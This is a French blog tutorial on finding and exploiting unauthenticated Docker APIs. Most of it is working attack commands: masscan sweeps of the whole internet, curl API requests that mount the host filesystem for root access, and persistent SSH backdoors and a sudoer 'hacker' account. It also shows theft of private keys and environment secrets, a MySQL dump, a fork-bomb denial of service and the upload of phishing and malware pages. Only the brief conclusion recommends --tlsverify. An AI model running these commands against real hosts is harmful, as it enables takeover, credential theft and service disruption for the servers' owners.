Exploitation des apis Docker
| par vinz | securité docker devopsExploitation des apis Docker non protégées
Exposer l’api docker sur internet sans protections revient à donner à n’importe qui un accès root sans identifications. Nous allons analyser comment des acteurs malveillants trouvent et “exploitent” les api docker pour exécuter des commandes en root sur l’hôte, backdoorer le système hôte, voler des données et des identifiants, héberger des pages de phishing ou des malwares, pivoter pour attaquer le réseau interne etc …
Comment trouver des apis docker
Il y a plusieurs techniques pour trouver des api docker ouvertes sur internet:
- Shodan & zoomeye
- masscan + nmap/cURL
Shodan et zoomeye
Un simple recherche sur Shodan ou Zoomeye permet de trouver plusieurs milliers d’api docker:
Masscan + nmap
On peut également scanner l’intégralité du web avec masscan (quelques heures), en cherchant les ports par défaut (2375,2376), puis vérifier avec nmap (-sV), ou un script nse
masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts -p2375 ----rate 500000 -oJ docker.json
jq -r '.[]|[.ip, .ports[].port]|join(":")' < dockerOPEN2.json > openDOCKER2.txt
Il y aura plus de reésultats, mais tous ne seront pas des api dockers (on peut y trouver du ssh, du http etc..)
Il faut après utiliser nmap ou cURL:
Exemple avec nmap:
nmap -sV -p 2375,2376 192.168.75.215
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 01:37 UTC
Nmap scan report for 192.168.75.215
Host is up (0.0015s latency).
PORT STATE SERVICE VERSION
2375/tcp open docker Docker 19.03.13-ce (API 1.40)
2376/tcp closed docker
Service Info: OS: linux
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 second
Exemple avec cURL:
if
curl -sk 192.168.75.215:2375/images/json |\
grep Containers > /dev/null
then
echo ok
fi
Exploitation
Il y a plusieurs façon d’exposer l’API docker:
- en clair (http)
- avec TLS mais sans vérification du certificat
- avec TLS et avec vérification du certificat
En clair:
Le plus souvent exposé sur le port 2375, les communications se feront en claire et aucune authentification n’est requise, pour accéder a l’api. On peut donc directement utilisé la commande docker pour interagir avec l’api …
La commande pour exposer l’api docker en http sur le port 2375:
dockerd -H fd:// -H tcp://0.0.0.0:2375
Il est également possible de modifier “ExecStart” dans /lib/systemd/system/docker.service
...
ExecStart=dockerd -H fd:// -H tcp://0.0.0.0:2375
...
Il faut ensuite “reloader” les daemons et relancer le service docker
sudo systemctl daemon-reload
sudo systemctl restart docker
Exemple d’interaction coté client avec docker:
$ docker -H tcp://192.168.75.216:2375 images
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58c1fa068e69 busybox "sh" 6 hours ago Up 5 hours elegant_mcnulty
Exemple avec cURL et jq pour la lisibilité:
curl -s http://192.168.75.216:2375/containers/json | jq
[
{
"Id": "dcf734bc8be8080d6aecd67418cc9f3d2dd8131ee638240037c89ef17df78391",
"Names": [
"/naughty_mcnulty"
],
"Image": "nginx",
"ImageID": "sha256:ae2feff98a0cc5095d97c6c283dcd33090770c76d63877caa99aefbbe4343bdd",
"Command": "/docker-entrypoint.sh nginx -g 'daemon off;'",
"Created": 1608586974,
"Ports": [
{
"PrivatePort": 80,
"Type": "tcp"
}
],
"Labels": {
"maintainer": "NGINX Docker Maintainers <docker-maint@nginx.com>"
},
"State": "running",
"Status": "Up 21 seconds",
"HostConfig": {
"NetworkMode": "default"
},
"NetworkSettings": {
"Networks": {
"bridge": {
"IPAMConfig": null,
"Links": null,
"Aliases": null,
"NetworkID": "e7f7e820b5f51b108600e1d9c06f12747cfa51e90eb17fa7d29b10312db025e1",
"EndpointID": "713a39ab1d40bc6f35242ddf2185d6eb38559589f3a76352527f1bfcfae19a0e",
"Gateway": "172.17.0.1",
"IPAddress": "172.17.0.3",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:11:00:03",
"DriverOpts": null
}
}
},
"Mounts": []
}
]
Avec TLS mais sans –tlsverify
Avec le flag “–tls” docker utilisera un certificat mais ne le vérifira pas . Généralement exposé sur le port 2376, voici la commande pour lancer docker:
dockerd --tls --tlscacert=/root/docker/ca.pem \
--tlscert=/root/docker/server-cert.pem \
--tlskey=/root/docker/server-key.pem \
-H fd:// -H=0.0.0.0:2376
Coté client si l’on possède le certificat (placé dans ~/.docker/) on peut utilisé directement docker
docker -H tcp://192.168.75.216:2376 --tls ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dcf734bc8be8 nginx "/docker-entrypoint.…" 53 minutes ago Up About a minute 80/tcp naughty_mcnulty
58c1fa068e69 busybox "sh" 6 hours ago Up 5 hours
Si l’on ne possède pas le certificat on peut toujours utilisé cURL avec -k (–insecure)
curl -sk https://192.168.75.216/containers/json | jq
Qui retourne:
[
{
"Id": "dcf734bc8be8080d6aecd67418cc9f3d2dd8131ee638240037c89ef17df78391",
"Names": [
...
}
]
TLS avec –tlsverify
Dans ce cas le client doit avoir un certificat pour pouvoir communiquer avec l’api de docker, sans celui ci il ne sera pas possible de communiquer avec l’api que ce soit avec docker ou cURL
On lance donc dockerd avec:
dockerd --tls --tlsverify --tlscacert=/root/docker/ca.pem \
--tlscert=/root/docker/server-cert.pem \
--tlskey=/root/docker/server-key.pem \
-H fd:// -H=0.0.0.0:2376
On essaye avec cURL, qui nous retourne une erreur:
curl -k https://192.168.75.216:2376/containers/json
curl: (56) OpenSSL SSL_read: error:14094412:SSL routines:ssl3_read_bytes:sslv3 alert bad certificate, errno 0
Les riques encourus
Il y plusieurs risques d’exposer sans “–tlsverify”:
- Exécuter des commandes en root sur le server
- Créer des containers dans un but malveillant (cryptominners, bot, scanner)
- Récupérer de données (clés ssh, clés api, bdd, ENV …)
- Scanner et/ou analyser le réseau interne
- héberger des pages de phishing ou des malwares
- Dos du serveur
- …
Sans tls
Executer des commandes en root du serveur:
Pour “rooter” le serveur on va simplement lancer un container et grâce à l’option “-v” (volume) mounter “/” de l’hôte dans “/mnt” du container. Il suffit ensuite de chrooter dans /mnt et nous sommes root sur l’hôte. Libre à nous d’ajouter un utilisateur, ajouter sa clé ssh dans authorized_keys etc …
docker -H tcp://192.168.75.216:2375 run -v /:/mnt -it alpine
/ # chroot /mnt
[root@9c87413c5049 /]#
Lancer des containers malvaillants
La plupart des containers malveillants vont miner du moneros.
Ex:
Avec Tls
comme nous de pouvons pas utiliser la commande docker nous allons devoir utiliser cURL pour communiquer avec l’api dans le but de créer un container.
On va utiliser l’image “Alpine” et lancer la commande “sleep 1100”.
On créer notre container avec:
$ curl -H "Content-Type: application/json" -d \
'{"Image": "alpine",
"Cmd": ["sleep", "1100"],
}' -X POST http://192.168.75.216:2375/containers/create
Si l’image “Alpine” n’existe pas l’api renverra:
{"message":"No such image: alpine:latest"}
Dans ce cas il faut télécharger l’image avec:
curl -XPOST "http://192.168.75.215:2375/images/create?fromImage=alpine:latest"
Atention: Il faut bien préciser “alpine**:latest**”, sinon toute les version de l’image alpine seront téléchargées.
On peut ensuite relancer la commande précédante.
Réponse de l’api:
{
"Id":"603d4189433157790630886a0ce4e5a124b1cbaecc7180472c022acb4de360f2",
"Warnings":[]
}
A ce stade le container est créé mais n’est pas encore up. Pour le démarrer on doit refaire une requête POST sur l’api:
curl -X POST http://192.168.75.216:2375/containers/603d4189433157/start
Note: Le script nmap utilisé par la suite peut être trouver ici.
On peut vérifier si le container tourne bien:
nmap -p 2375 --script docker 192.168.75.216
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 03:49 UTC
Nmap scan report for 192.168.75.216
Host is up (0.00099s latency).
PORT STATE SERVICE
2375/tcp open docker
| docker:
| Running_containers:
| IMAGE: alpine
| -- COMMAND: sleep 1100
|_ -- UPTIME: 3 seconds
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds
Executer des comandes en root le server:
Sans firewall
Pour “rooter” le serveur on va créer un container avec sshd qui écoute sur le port 2222 de l’hôte, mounter “/” de l’hête dans /mnt du container, et on chroote ensuite dans /mnt.
Pour la persistance on va également utiliser "HostConfig":{"RestartPolicy": {"Name":"always"}}
.
$ curl -H "Content-Type: application/json" -d '{
"Image": "alpine",
"Cmd":["sh", "-c",
"apk add openssh; ssh-keygen -A; mkdir /root/.ssh;
echo root:test | chpasswd; echo \"ssh-rsa <L'id \" >
/root/.ssh/authorized_keys; /usr/sbin/sshd -d"],
"ExposedPorts": { "22/tcp":{}},
"HostConfig":{
"RestartPolicy": {"Name":"always"},
"binds":["/:/mnt"],
"PortBindings": { "22/tcp": [{ "Hostip":"0.0.0.0", "HostPort": "2222" }] }
}
}' -X POST http://192.168.75.216:2375/containers/create
#response
{
"Id":"98bac84706a512e95aba2c132e805ac82172ddd8ad4311486a1beb141b8de998",
"Warnings":[]
}
$ curl -X POST http://192.168.75.216:2375/containers/98bac84706a/start
$ ssh -i private_key -p 2222 root@192.168.75.216
root@remote_docker:/ # chroot /mnt /usr/bin/bash
[root@remote_host]:/
Cela marche si il n’y a pas de firewall qui bloque les connections sortantes.
Avec un firewall qui bloque les connections sortantes
Dans ce cas ci, il y a deux options:
- 1] Créer un utilisateur ‘sans HOME’ pour plus de discrétion
- 2] Ajouter sa clé public ssh dans le authorized_keys d’un utilisateur existant.
Dans le premiers cas:
$ curl -H "Content-Type: application/json" -d \
'{
"Image": "alpine",
"Cmd":["sh", "-c",
"chroot /tmp useradd -M hacker;
chroot /tmp bash -c \"echo hacker:hacker | chpasswd\";
echo \"hacker ALL=(ALL) ALL\" >> /tmp/etc/sudoers"],
"HostConfig": {
"AutoRemove": true,
"binds":["/:/tmp"]
}
}' -X POST http://192.168.75.216:2375/containers/create
# Response
{"Id":"bcd6c17e5d36a878863be900bc3e1255e62ee163cf6ba7a558cf8966278f6cfd",
"Warnings":[]}
# On Lance le container
curl -X POST http://192.168.75.216:2375/containers/bcd6c17e5d36a87886/start
On rajoute "AutoRemove": true
pour supprimer le container après qu’il est terminé (équivalent de docker run --rm
)
On peut maintenant ce connecté en ssh avec l’utilisateur “hacker”.
ssh hacker@192.168.75.216
hacker@192.168.75.216's password: # hacker
[hacker@192.168.75.216 /]$ sudo su
[sudo] password for hacker: # hacker
[root@192.168.75.216 /]#
Dans le deuxième cas, il faudra d’abord créer un container pour lister les utilisateurs et ajouter sa clé publique dans authorzied_keys. Dans cet exemple pour éviter une étape on ajoutera notre clé publique à tous les utilisateurs qui possent un dossier .ssh. Il faudra ensuite lire les logs pour connaitre les utilisateurs:
curl -H "Content-Type: application/json" -d '{
"Image": "alpine",
"Cmd":["sh", "-c",
"chroot /tmp find / -path /proc -prune -false -o
-type d -name .ssh -exec echo \u007B\u007D \\;
-exec sh -c \"echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDVo/YsgADHpg5EH+6rQyK19pRIZetau1uDFqRajgMwW
>> {}/authorized_keys \" \\; "],
"HostConfig": {"binds":["/:/tmp"]}}' \
-X POST http://192.168.75.216:2375/containers/create
Après avoir lancé le container on lit les logs avec:
curl -s http://192.168.75.216:2375/containers/380c99cf1a7170bc2c4/logs?stderr=true \
--output - | cut -c9-
/root/.ssh
/home/user1/.ssh
/home/user2/.ssh
On doit utilisé “cut -c9-” car l’output est préfixé par 8 bytes:
- Le premier pour indiquer le stream (1=stdout, 2=stderr)
- Les 3 suivants sont des 0
- Les 4 derniers indiques la taille du message
header := [8]byte{STREAM_TYPE, 0, 0, 0, SIZE1, SIZE2, SIZE3, SIZE4}
On peut maintenant se connecté sur l’hôte en ssh et sans mot de passe avec:
# si le serveur accepte les connections en root
ssh -i id_ed25519 root@192.168.75.216
# sinon
ssh -i id_ed25519 user1@192.168.75.216
ssh -i id_ed25519 user2@192.168.75.216
Dans ce cas ci nous avons pas ajouté “AutoRemove : true”, il faut donc supprimer le container avec:
curl -X DELETE http://192.168.75.216:2375/containers/380c99cf1a7170bc?v=1
Vol de données
Dans cet exemple nous allons voler une clé privée ssh:
$ curl -H "Content-Type: application/json" -d '{"Image": "alpine",
"Cmd":["cat", "/tmp/home/user/.ssh/id_rsa"],
"binds":["/:/tmp"]}' \
-X POST http://192.168.75.216:2375/containers/create
$ curl -X POST http://192.168.75.216:2375/containers/cad91464ec/start
$ curl http://192.168.75.216:2375/containers/cad91464ec/logs?stdout=true \
--output - | cut -c9- > private_key
$ chmod 600 private_key
$ ssh -i private_key user@192.168.75.216
user@192.168.75.216
Les variable d’environment
Beaucoup de containers utilisent des variables d’environnement, parfois sans gravité si dévoilé, mais certaines peuvent contenir des informations sensible tel que des clés api, des mots de passe etc ..
Un exemple avec mysql et un serveur relay smtp.
# mysql
docker run --rm -d -p 3306:3306 -e "MYSQL_ROOT_PASSWORD=secretpassword" mariadb
# smtp relay
docker run -e MAIL_RELAY_HOST='smtp.gmail.com' -e MAIL_RELAY_PORT='587' \
-e MAIL_RELAY_USER='user@gmail.com' -e MAIL_RELAY_PASS='thesecurepass' \
tecnativa/postfix-relay
Dans ce scénario, un attaquant va pouvoir grâce à quelques requêtes GET accéder à ces variables d’environnement pourtant sensible:
avec nmap:
avec cURL il faut d’abbord recuperer l’id des containers:
curl -sk http://192.168.75.216:2375/containers/json | \
jq -r ".[]|[.Image,.Id]"
[
"tecnativa/postfix-relay",
"4fd2b327e8c1c1e869bb16b34e43e4aded3fbfdfde8944f808c08c84cfebe277"
]
[
"mariadb",
"8d6410c2fcc9aad2c8a7804382a4ae2d69f77a01eea22e17eb6b4a018b02fb0d"
]
note: Cette requête ne listera que les containers qui sont up. Il faut ensuite faire une requête GET par container:
Pour postfix:
curl -sk http://192.168.75.216:2375/containers/4fd2b327e8c1c1/json | \
jq ".Config|.Env"
[
"MAIL_RELAY_USER=user@gmail.com",
"MAIL_RELAY_PASS=SecreT_PassworD",
"MAIL_RELAY_HOST=smtp.gmail.com",
"MAIL_RELAY_PORT=587",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"HOST=localhost",
"DOMAIN=localdomain",
"INET_PROTOCOLS=ipv4",
"MAILNAME=localdomain",
"MAIL_VIRTUAL_FORCE_TO=",
"MAIL_VIRTUAL_ADDRESSES=",
"MAIL_VIRTUAL_DEFAULT=",
"MAIL_CANONICAL_DOMAINS=",
"MAIL_NON_CANONICAL_PREFIX=noreply+",
"MAIL_NON_CANONICAL_DEFAULT=",
"MESSAGE_SIZE_LIMIT=52428800"
]
et pour mysql:
curl -sk http://192.168.75.216:2375/containers/8d6410c2fcc9aad2c8a78/json | \
jq ".Config|.Env"
[
"MYSQL_ROOT_PASSWORD=secretpassword",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"GPG_KEYS=177F4010FE56CA3336300305F1656F24C74CD1D8",
"MARIADB_MAJOR=10.5",
"MARIADB_VERSION=1:10.5.8+maria~focal"
]
A partir de la, comme nous avons le mot de passe mysql on peut exécuter un “exec” sur le container pour dumper la/les database(s):
On commence par lister les databases:
curl -s -H "Content-Type: application/json" -d '{
"AttachStdout": true,
"Tty": true,
"Cmd": [ "mysql", "-uroot", "-psecretpassword","show databases;" ]
}' -X POST "http://192.168.75.215:2375/containers/13a2054f5bda/exec"
La commande nous renvoie l’id du exec
.
{"Id":"138c8343c0763f5008ae4610f334889bdb0c375087c90e221cdc999f08bc49b4"}
Le exec est créé mais n’a pas encore tourner. On le lance avec:
curl -s -H "Content-Type: application/json" -d '{
"Detach": false,
"Tty": true
}' -X POST "http://192.168.75.215:2375/exec/<EXEC ID>/start"
mysql: [Warning] Using a password on the command line interface can be insecure.
+--------------------+
| Database |
+--------------------+
| Customers |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
Libre a l’attaque de dumper les bases des données par la suite avec
"Cmd": [ "mysqldump", "-uroot", "-psecretpassword","Customers" ]
.
Note: Contrairement aux logs l’output n’est pas préfixé.
Rendre inoperant le serveur
plusieurs moyens:
- fork bomb
- networks
- disk space
Exemple avec une fork bomb
Dans ce cas on consommé un maximum de cpu et saturera la table des process.
curl -H "Content-Type: application/json" -d \
'{"Image": "busybox",
"Cmd":["sh", "-c",
"fb(){ while fb& do fb& done; }; fb"]}' \
-X POST http://192.168.75.215:2375/containers/create
Après avoir lancer le container, le serveur hôte deviendra inopérant au bout de quelques secondes.
ATENTION: Si le container à “–restart=always” et que le service dockerd est enable (et non pas sarter a la main), le seul moyen de reprendre la main sur le serveur sera de booter le serveur avec une live usb et de supprimer le container à la main en cherchant dans “/var/lib/docker” …
Scanner le reseau interne
Pour cela il faut utilisé “–net=host”, le container créé aura un accès a tout les interfaces du serveur hôte. On peut par la suite utilisé nmap, tcpdump etc ..
root@host:~ docker run -it alpine
/ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Maintenant avec “–net=host”
docker run -it --net=host alpine
/ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s25: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN qlen 1000
link/ether 3c:97:0e:47:36:88 brd ff:ff:ff:ff:ff:ff
3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
link/ether a0:88:b4:76:71:48 brd ff:ff:ff:ff:ff:ff
inet 192.168.75.215/24 brd 192.168.75.255 scope global dynamic wlp3s0
valid_lft 545sec preferred_lft 470sec
inet6 fe80::ef7d:ce1d:923:b3e8/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN
link/ether 02:42:a4:e8:29:a0 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:a4ff:fee8:29a0/64 scope link
valid_lft forever preferred_lft forever
Pour pouvoir utiliser “–net=host” avec cURL il faut utilisé:
curl -H "Content-Type: application/json" -d '{
"Image": "alpine",
"Cmd":["ip","a"],
"HostConfig":{
"NetworkMode":"host"
}
}' -X POST http://192.168.75.215:2375/containers/create
Hébergement de phising et de malware
Nous avons deux options pour héberger du phishing ou des malwares:
- uploader nos pages ou fichiers malveillants sur un nginx déjà existant
- créer un container nginx (on peut également modifier la config pour le nom de domaine).
Uploader dans un container existant
Pour uploader un fichier ou dossier dans un container il faut d’abord faire une archive tar, qui seri ensuite uploadée et décompressée
The input stream must be a tar archive compressed with one of the following algorithms: identity (no compression), gzip, bzip2, or xz.
tree evil
evil
├── evil.exe
└── evil.html
tar -cvjSf evil.tar.bz2 evil
Voici le container nginx légitime de l’hôte (192.168.75.215:8000)
curl -sk "http://192.168.75.215:8080/evil/evil.html"
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.19.6</center>
</body>
</html>
404 rien n’a encore été uploader.
On upload donc notre archive tar avec une requête “PUT”, qui sera décompresser dans le path fournie dans la requête (ici /usr/share/nginx/html)
curl -X PUT -H "Content-Type: application/x-tar" \
"http://192.168.75.215:2375/containers/50dd072f4125/archive?path=/usr/share/nginx/html" \
--data-binary "@evil.tar.bz2"
Si il n’y a pas de réponse, l’archive à correctement été uploadée et décompressé:
curl -sk "http://192.168.75.215:8080/evil/evil.html"
<H1>Phinsing Page</h1>
Conclusion
On a donc vu qu’il était relativement facile de trouver et d’exploiter des api docker non protégé. Cela revient à donner un accès root sans identification à un attaquant. Entre l’installation de portes dérobées sur l’hôte, le vole de données dans les containers ou sur le serveur hôte, l’installation de containers malveillants, les possibilité de nuire sont grandes.
Il faut donc s’assurer que l’api docker ne soit pas exposée si il n’y a pas de raison valable de l’être
, dans le cas contraire il faut s’assurer que dockerd
soit appelé avec le flag --tlsverify
, ce qui
permettra d’assurer que seuls les détenteurs d’un certificat valide peuvent interagir avec l’api.